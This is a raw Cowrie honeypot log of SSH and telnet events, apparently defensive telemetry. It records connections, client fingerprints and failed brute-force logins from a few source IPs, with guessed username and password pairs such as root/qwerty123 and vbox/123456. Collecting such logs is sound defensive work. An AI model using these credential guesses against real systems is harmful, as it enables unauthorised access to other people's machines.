{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:56.151485Z","src_ip":"103.172.78.219","session":"f4a81bba93cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00123023986816,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:56.234496Z","src_ip":"152.42.224.71","session":"7b2652cbbb92","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qqqq","message":"login attempt [root/1111qqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:57.202755Z","src_ip":"103.172.78.219","session":"f4a81bba93cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.659202098846436,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:57.537857Z","src_ip":"152.42.224.71","session":"07308d526ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:58.453757Z","src_ip":"103.172.78.219","session":"f4a81bba93cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49916,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d6c21ea95ae","protocol":"ssh","message":"New connection: 31.40.204.166:49916 (159.203.135.109:22) [session: 4d6c21ea95ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:02.280672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:02.295639Z","src_ip":"31.40.204.166","session":"4d6c21ea95ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:02.410295Z","src_ip":"31.40.204.166","session":"4d6c21ea95ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:03.012862Z","src_ip":"31.40.204.166","session":"4d6c21ea95ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:04.223574Z","src_ip":"31.40.204.166","session":"4d6c21ea95ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.3796854019165,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:05.896873Z","src_ip":"152.42.224.71","session":"da524c0a466d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35202,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec691ea307bf","protocol":"telnet","message":"New connection: 152.42.224.71:35202 (10.17.0.5:23) [session: ec691ea307bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:06.149204Z"}
{"eventid":"cowrie.session.closed","duration":116.00036597251892,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:06.996583Z","src_ip":"152.42.224.71","session":"985209d820ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.860095262527466,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:12.437204Z","src_ip":"152.42.224.71","session":"11b943166efd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.7628448009491,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:13.005980Z","src_ip":"152.42.224.71","session":"be6cbd2a9223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55226,"dst_ip":"159.203.135.109","dst_port":22,"session":"245b0549f7b3","protocol":"ssh","message":"New connection: 31.40.204.166:55226 (159.203.135.109:22) [session: 245b0549f7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:13.321249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:13.326556Z","src_ip":"31.40.204.166","session":"245b0549f7b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:13.511912Z","src_ip":"31.40.204.166","session":"245b0549f7b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:13.989098Z","src_ip":"31.40.204.166","session":"245b0549f7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35210,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7a5662cd1d5","protocol":"telnet","message":"New connection: 152.42.224.71:35210 (10.17.0.5:23) [session: d7a5662cd1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:14.613945Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:15.293022Z","src_ip":"31.40.204.166","session":"245b0549f7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55910,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9006494be14","protocol":"telnet","message":"New connection: 152.42.224.71:55910 (10.17.0.5:23) [session: e9006494be14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:17.719321Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55914,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e406c6a2805","protocol":"telnet","message":"New connection: 152.42.224.71:55914 (10.17.0.5:23) [session: 8e406c6a2805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:18.729141Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55920,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c5767d5998b","protocol":"telnet","message":"New connection: 152.42.224.71:55920 (10.17.0.5:23) [session: 3c5767d5998b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:20.769122Z"}
{"eventid":"cowrie.session.closed","duration":63.950618505477905,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:21.522358Z","src_ip":"152.42.224.71","session":"c0eb6c42db2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39070,"dst_ip":"159.203.135.109","dst_port":22,"session":"509d5439aa50","protocol":"ssh","message":"New connection: 31.40.204.166:39070 (159.203.135.109:22) [session: 509d5439aa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:24.412940Z"}
{"eventid":"cowrie.session.closed","duration":40.7419490814209,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:24.453967Z","src_ip":"152.42.224.71","session":"4f50f97fe092","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:24.687685Z","src_ip":"31.40.204.166","session":"509d5439aa50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:24.692070Z","src_ip":"31.40.204.166","session":"509d5439aa50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:25.304216Z","src_ip":"31.40.204.166","session":"509d5439aa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.7411322593689,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:26.163916Z","src_ip":"152.42.224.71","session":"78affa4d3acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:26.480532Z","src_ip":"31.40.204.166","session":"509d5439aa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53900,"dst_ip":"10.17.0.5","dst_port":23,"session":"babe6a842240","protocol":"telnet","message":"New connection: 152.42.224.71:53900 (10.17.0.5:23) [session: babe6a842240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:27.575909Z"}
{"eventid":"cowrie.session.closed","duration":120.00132346153259,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:28.029299Z","src_ip":"152.42.224.71","session":"00855f0a5eb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53906,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f8ba153948","protocol":"telnet","message":"New connection: 152.42.224.71:53906 (10.17.0.5:23) [session: 64f8ba153948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:31.387503Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49824,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b10ab6ec553","protocol":"ssh","message":"New connection: 31.40.204.166:49824 (159.203.135.109:22) [session: 6b10ab6ec553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:35.800228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:35.810395Z","src_ip":"31.40.204.166","session":"6b10ab6ec553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:35.923068Z","src_ip":"31.40.204.166","session":"6b10ab6ec553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:36.511658Z","src_ip":"31.40.204.166","session":"6b10ab6ec553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:37.690419Z","src_ip":"31.40.204.166","session":"6b10ab6ec553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.15117931365967,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:39.984623Z","src_ip":"152.42.224.71","session":"6897aaaa8226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51678,"dst_ip":"10.17.0.5","dst_port":23,"session":"34d7f9cc07ae","protocol":"telnet","message":"New connection: 152.42.224.71:51678 (10.17.0.5:23) [session: 34d7f9cc07ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:42.322070Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51686,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14faed04de3","protocol":"telnet","message":"New connection: 152.42.224.71:51686 (10.17.0.5:23) [session: a14faed04de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:43.756211Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51688,"dst_ip":"10.17.0.5","dst_port":23,"session":"dabcac6ba4c3","protocol":"telnet","message":"New connection: 152.42.224.71:51688 (10.17.0.5:23) [session: dabcac6ba4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:45.233066Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36520,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d7f815319d","protocol":"telnet","message":"New connection: 152.42.224.71:36520 (10.17.0.5:23) [session: d0d7f815319d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:46.327987Z"}
{"eventid":"cowrie.session.closed","duration":57.79131031036377,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:46.602253Z","src_ip":"152.42.224.71","session":"5c40e65945c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42472,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6482bdf756b","protocol":"ssh","message":"New connection: 31.40.204.166:42472 (159.203.135.109:22) [session: b6482bdf756b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:46.789933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:46.808468Z","src_ip":"31.40.204.166","session":"b6482bdf756b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:46.923047Z","src_ip":"31.40.204.166","session":"b6482bdf756b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:47.581961Z","src_ip":"31.40.204.166","session":"b6482bdf756b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:48.795184Z","src_ip":"31.40.204.166","session":"b6482bdf756b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36522,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bd699982c55","protocol":"telnet","message":"New connection: 152.42.224.71:36522 (10.17.0.5:23) [session: 7bd699982c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:50.167806Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36538,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07c947632d2","protocol":"telnet","message":"New connection: 152.42.224.71:36538 (10.17.0.5:23) [session: b07c947632d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:51.078375Z"}
{"eventid":"cowrie.session.closed","duration":35.65291976928711,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:54.381949Z","src_ip":"152.42.224.71","session":"8e406c6a2805","protocol":"telnet"}
